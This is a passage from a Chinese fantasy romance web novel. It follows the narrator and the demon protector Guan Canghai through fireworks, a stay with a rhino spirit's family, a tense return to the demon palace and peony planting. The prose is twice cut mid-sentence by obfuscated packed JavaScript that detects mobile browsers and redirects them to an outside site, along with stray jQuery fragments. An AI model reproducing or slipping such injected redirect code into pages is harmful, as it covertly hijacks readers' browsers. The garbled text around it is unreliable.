我举起一支烟花,跳跃的光芒在我和观沧海的脸上舞动,他眼里有暖色,但我发现他的注意力并不在这燃放的烟花上面,而是在看我。 也许是我多心了? 带着这个念头,我的脑袋往旁边偏了偏,于是我清晰地看到少年的眼珠子跟着我移动了,我又拎着烟花挪回来,对方的眼珠又回正。 还有点好玩的样子,这是什么自动跟随啊。 我喊着他,开始抽风,“护法你看,我给你表演一个斗鸡眼!” 我看着自己的鼻尖,两只眼珠子专注地凝视过去,可惜我不会左右眼分开,不然效果更有趣。 “这么做的意义是什么。”他的嘴角抽搐,无语地问 “好玩啊,你会吗?做一个给我看看。” “好傻,不要。” “康康啊!给我康康!” “……你走开。” 不让我扒拉,他支起胳膊顶开我,见我不死心,又用小烟花对着我滋,不让我凑过去。 我拿着这支烟花,像是用法杖对轰一样,对着他一挥,“我要把你变成野猪~” “你真无聊。”无语到发笑。 这是他的评价,但他真的有本事把我变成野猪。 在河边待了一个时辰,有妖物从水里冒泡,大概是想看看是谁在这放炮竹,打扰了它修炼。 我还没给观沧海指河面有动静,他就已经站到我前面,看向了河水。对方发现这是个惹不起的主,默默地游走了。 “还玩吗。”他收回凌厉的目光,问我。 “不玩了,烟花都放完了。” “回去吧。” “嗯。” 往回走的路上,果然下起了雪。挑灯走在身边的观沧海碰到了我的披风,我看着他的手钻入我的披风里,然后扣住了我的手腕。 我之前走路磕着绊着,他干脆拉着我更省事。 “嘶——”被握住后我龇着牙怪叫出声。 “叫什么。” “你手真冷。” “你等会摔了,掉队了,别叫我。” 他说着假装要松手,我赶紧反握回去,“冷点没事儿。” 过完今夜就是新的一年了,钻入被窝之前,我对着坐在被子上的他说道:“护法,除夕安康,新年快乐,新的一年也要万事如意啊。” 闻声回头的他看着被子里只露出脸的我,随后微笑起来,非常没词汇量地说道:“你也是。” “真敷衍,我睡了。” “……” 第二天我们寻着最新的线索去追击大妖。 这些妖魔都是让各地妖王头痛的存在,所以妖王们会积极地提供线索。 像是为了证明,就算带着我也不会耽误事情,这次观沧海去了一个犀牛精的妖洞,将我交给此处的妖王照顾,他家正好也呈报了一只叛乱的妖,需要观沧海处理。 “姜星辰你在这待五天。” “哦,好的,我在这等你。”我就说吧,带着我不方便,他非要犟。 观沧海交代了我,又看向战战兢兢的妖王,再次提醒:“好好照顾她。” “护法放心,定不会让姜姑娘有事的。”犀牛精郑重保证。 在这妖洞待的几天,我过得很滋润,犀牛精有个很小的女儿,都还不会化形,整天用原形出现在我面前,我闲来无事就逗逗小犀牛。 这可是我人生第一次摸犀牛啊,摸摸耳朵,摸摸厚如盔甲的犀牛皮,还有那长大后会变得凶残的犀牛角。 第三天下午,小犀牛和我去泡了温泉,我拿出刷子给她刷皮刷角,别说还挺解压的。 侍女小跑进了温泉池,温声说道:“小姐、姑娘,大王说护法回来了,晚上一块用饭,明日出发。” 还在搓着小犀牛,我算了算时间,观沧海居然提前两天完成了任务。简直是用行动证明,带着我的确会误事。 不过我有言在先了,是他自己觉得可以带着我的,所以我并不会内疚。 和小犀牛洗白白出去,她缩小了体型,变成了兔子般大小,抱在怀里格外可爱,就是皮硬了点。 我去宴客厅,见到了犀牛精,但是没见到观沧海,一问才知道,他去洗澡了,说是来的时候身上还带着血迹。 “他受伤了吗?”我关心地问。 “不是护法的血,是妖的,那家伙已经就地格杀,姑娘你看,这犀牛角都送来了。” 一转头,就看到血淋淋的犀牛角放在托盘上,仿佛战利品。 观沧海洗完澡出来,就看到我在逗弄小犀牛,他第一句话就是:“这么小的也不放过?” 和小犀牛贴贴的我一愣,“什么啊。” “交朋友。” “吓我一跳,还以为你在说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833172|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么危险的事呢。” 他又递给我一个锦囊,“妖丹,出去的时候收了几颗。” 欣然接受,我已经不会觉得不好意思了,其实这样想想也挺恐怖的,感觉会被他撑大胃口。 妖丹,明明是很贵重且难得的东西。 下午一起用饭,观沧海看我怀里抱着小犀牛,他看了好几眼,最后还是犀牛精的夫人笑着对我伸手。 “姑娘,我来抱着宝宝吧,怕你不方便吃饭。” 虽然舍不得,我还是把小犀牛递了回去。在这短暂的几天,我就和这小犀牛的关系最好,她说我身上香香的。 临别这日早上,我用灵力催发几朵牡丹送给了她。 这几个月我的身体养得还行,但远远不够,牡丹一送,身体又虚了点,像冲了八百米那样累。 “护法,我走不动了,我要休息一下。” 我找到旁边的大树,坐在树根上歇息。观沧海靠在树干旁,说道:“本就没什么法力,还要生花送人,自然会虚。” “你挖苦我。” “讲事实。” 我哼他一声,从瓶子里掏出仙丹磕了几颗补充,又顺手拿出了吃的。 “护法,红豆糕。” “不吃。” “怎么听着挺幽怨的,你生气我随便开出牡丹吗。” “你没送过我。” “送了啊,家里的雪人,那还是我送的第一朵。” “那是雪人,不是我。” “……” 不过想想也是,好朋友的话,也是会有这些攀比的感觉的,我其实也能明白,我希望我看重的朋友也同样看重我,而不是排在后面的位置。 又磕了几颗仙丹,恢复了灵力后,我起身和他面对面。 观沧海本来靠着树干,被我正面对着,像是我把他壁咚了,我双手捧起,掌心里生根发芽,一朵含苞待放的牡丹水灵灵地出现。 “护法,我这就送你一朵,放哪里呢?别在你耳朵上?” “不用了。” “别客气啊,你刚才不是想要花的意思吗?” “你体力不支,不用给了。” 看起来不是傲娇,是真的不用。 他推开我的肩头,我后退几步,手里的灵力停止汇聚,花儿又慢慢地缩回。 我也不和他客气,“这样吧,等这次的事情忙完了,回去在你家里种点牡丹?” “好。” 27.27 过完年以后,我和观沧海在外面追捕大妖三个多月,一整个春天都在各处跑。翻过雪山,看过春芽,冰层消融的山涧处处都透着春意。 身上不需要裹着厚厚的衣物,也不用贴发热符,感觉人都轻便了不少。 至于和观沧海的相处,我觉得挺舒服自在,虽然有时候也搞不懂他的脑瓜子在想什么,我能感觉到他挺在意我的。 除了把我当朋友之外,应该也有随璘特别叮嘱,让他不要怠慢我的原因吧。 我还是头一回和一个人这样朝夕相处,入睡说晚安,醒来就能看到对方。 这,就是肝胆相照的挚友吗! 一路上遇到一些友好的妖精,我也能攀谈几句,交一交朋友。本来这样也是做给他看的,想让他主动有交友的想法,就算是萍水相逢的缘分也不错,但这人还是不交友。 他似乎真的觉得有我一个朋友就够了,我虽然觉得受到重视很好,可又觉得只有我一个朋友对他来讲不太好。 万一哪天我俩争吵,我还能找小雨、宝珠她们去吐槽,观沧海可没地儿诉苦,难道去找随璘吗? 好像也行? 出来这么久,也不知道青峦如何了,他来妖魔界算算也有半年。我们外出的时候,也有联络的信使,只不过都是说的公务上的事情,还有那些妖魔逃窜的行踪。 随璘没有送过信,也许没有消息就是好消息? 我在客栈里已经住了四天,几天前,观沧海去抓捕最后一只妖。一旦锁定了目的地,他会在就近的地方将我妥善安置,然后独自去做任务。 每回离开,他都会估摸一个大概的时间让我等待,这一次是说的七天。不过他经常提前回来,所以有可能今晚或者明后天就能到。 这次来送信使的蝶妖是宝珠的熟人,寻到了我所在的客栈,因为观沧海不在,信就落在我的手上,说是我也可以看。 蝶妖飞走后,我心痒痒地看着这封信。以往观沧海拆信都是使用了自己的法力,如果不限定的话,我说不定也能使用灵力开启。 我尝试对着桌上的信封输出一抹灵力,封面闪过一层流光,然后消失,只留下薄薄的信纸。 惊喜地拿起信纸,我开始阅览上面的内容。我几乎是皱着脸看完全部的,最后表情定格在一言难尽上面。 “信上写什么了。” “啊!护法?” 又被吓一跳,看着风尘仆仆赶回来的少年,他的腰间挂着一个袋子,那是用来收服罪妖的。房门没被推开,但是窗户是开着的。 这人明显是一回客栈就跳我窗。 我都不知道怎么组织语言,就将信封递过去,观沧海镇定地看下去,然后也拧起了眉头。 信是随行官写的,里面讲的是辞镜毒杀青峦失败,在与随璘一场争斗后逃出了妖魔界,可能是往人界去了。 青峦失忆昏迷,随璘受伤修养。 将手中的信纸燃烧,观沧海看向我,“现在启程回去,用百鸟舟。” “好的,我马上收拾好。” 没有任何意见,我匆忙收拾了东西,他又递过来一袋子妖丹。这些是他在路上被找麻烦时,顺手掏的一些。 我上次数了数自己的存货,可能都有六十多颗妖丹了。我要是能享用,妖力不得噌噌往上涨啊。 如果不是有带着我在外面游山玩水,观沧海一个人行动,大概只需要两个月就能完成任务。 乘坐在百鸟舟上,看着他的背影,我戳戳他的肩头,安慰道:“你放心,魔尊会没事的。既然信中都这么写了,她一定在好好修养。” “嗯。” 他心不在焉地应了一声,过了片刻,转回身与我面对面,伸手握住我的手,冰凉的肌肤让我下意识往回缩。 发现我不乐意,观沧海松开了手指,我想到他这是可能需要点朋友的安慰,赶紧手指一勾,将他的手往回拉。 我双手捧着这冰凉的大手,笃定道:“没事的,护法!” 这一次没有了游玩的心思,全程用工具赶路,两天后就回到了魔宫。 一路奔至随璘的寝宫,连通传都来不及,观沧海闯门进入,看到随璘一脸倦怠地在长椅上小憩,而屏风后面的床内是还没苏醒的青峦。 “你没事吧。”观沧海担忧地询问椅上的人。 女人半睁着眼眸,显得意兴阑珊,看着状态不是很好,却也笑道:“这么匆忙回来,事情办完了?” “办完了,你怎么样。” “本尊能有什么事。” “我知道你难过,我去把辞镜先生找回来。” “不需要,你正好替我处理政务,他的下落,天界有人帮忙了。” 事关青峦,会惊动天界也很正常,随璘只简单地将这件事交代了一下。 青峦失去对她的记忆,她就正好让云喜雨抓了辞镜回来,再顺便带着青峦回天界,这样他会更安全。 至于那段情动的记忆,便也算了吧,就当有缘无分。 观沧海听着这话,只觉得奇怪,他追问道:“事情都已发生,你更该留下他,还打算送走,记忆也不要了?” “是啊,他回去了更好。” “你不是这个性子,你想要就不会放走他,何况你对青峦总是不同的,你又打算怎么对待辞镜先生?” “本尊累了不行啊,也腻了青峦,难不成一直宝贝着?再说你还想管老娘啦?可别一回来就气本尊,还养着伤呢。” 随璘这么说着,给我使眼色,明白领导意思的我赶紧上前扯扯观沧海的衣服,小声道:“护法,我们回去吧,让魔尊安心休息。你也看到了,她很累了。” 观沧海执意要问个明白,在这方面犟种起来,随璘翻了个白眼,指尖一动,一道法力打在我身上,一点没准备的我被打得倒飞出去。 “啊——” 我尖叫着摔出去,差点撞上柱子之前,被观沧海抱住了。他为了接我而飞出内室,正好随璘就把大门关上,不准他再进去。 “没事吧。”揽着我的腰,将我放回地面,他低头问我。 我惊魂稳定地摇摇头:“没事。” 随璘是故意用我来牵制他的,也幸好观沧海选择接我,万一真撞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837038|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我肯定骨折,黑心魔尊! 观沧海幽怨地看一眼紧闭的大门,现在也问不出什么,旁的人也不一定清楚其中缘由,只好拉着我离开。 回了家,我俩都发现前院的雪人融化了,正直春末夏初的季节,那个雪人待着的位置上只留下树枝、斗笠和一朵枯萎的牡丹。 观沧海捡起这些装备,似乎心情更闷了,我连忙说道:“正好也回来了,不如我们找块地方种牡丹吧?” “我没心情。” “种一种或许又有心情了呢,要不你看着我种,我俩说说话,你有什么不高兴的就给我说,不要憋在心里。” 我拉着他去院子里选地方,在居住的院子东角找了一块土地翻土,牡丹花种我用灵力凝结,这会好养活得多,一年四季也能开花。 从我的手里拿走锄头松土,观沧海沉默地加入了。 “魔尊有些不对劲。” 把这小片土松了后,他看向我,说出了心里在意的地方。 “比如呢?我是没你了解她啦。” “我知道她很在意青峦,不惜为了他与辞镜先生反目,但已经走到了这一步,她不会想将青峦送回天界。” “万一她是爱得深,想要保护他呢,比起占有,更担心伤害他。” “就因为爱得深,才更要绑在身边才是,有谁能比她对对方更好。” 因为我是知道云喜雨对青峦的付出,所以听了观沧海的话,当下就说道:“可魔尊身边挺危险的,还是天界更安全吧。再说,天界对仙尊好的人也不少。” 其实再怎么讲也没用,目前的情况就是随璘打算让青峦离开,那段相处的记忆也不打算让他恢复了。 “我不明白为什么魔尊就这样爱上了青峦,而腻烦了辞镜先生。” 我感慨着,“朋友啊,感情这种事你也说过啦,是没道理可言的。” “……” “爱或不爱,有时候想通也就一瞬间。” 我把花种丢入土坑里,观沧海一脸不情愿道:“她为什么不让我去找辞镜先生,还要让天界的战神出动。” “毕竟是九千年的大妖,你打得过吗?” 听我这语气,观沧海瞥我,“难道那战神就行了?” “她当然行了!你上次的手掌不就被她打穿了?” “……” 观沧海对我翻了个白眼。 在这捣鼓一个时辰,把牡丹花种埋下,浇过水,我让他宽宽心,休息一下,明天还要进魔宫处理政务。 至于我,外出的这个几个月,我把仙丹都吃完了,我明天回魔宫的宿舍一趟,借着传送阵去药王殿。 我也得考虑一下,什么时候和观沧海交代我与天界的关系了。 虽然目前看起来我俩挺好,我是他唯一的朋友,可越是这样,我越有点不敢坦白了。 万一他生气怎么办,我想说他不是那么小气的人,但这家伙小气的点并不是钱财物品,而是情感方面。 如果知道我是天界的人,带着目的接近他,会不会与我绝交呢。 我得好好想想。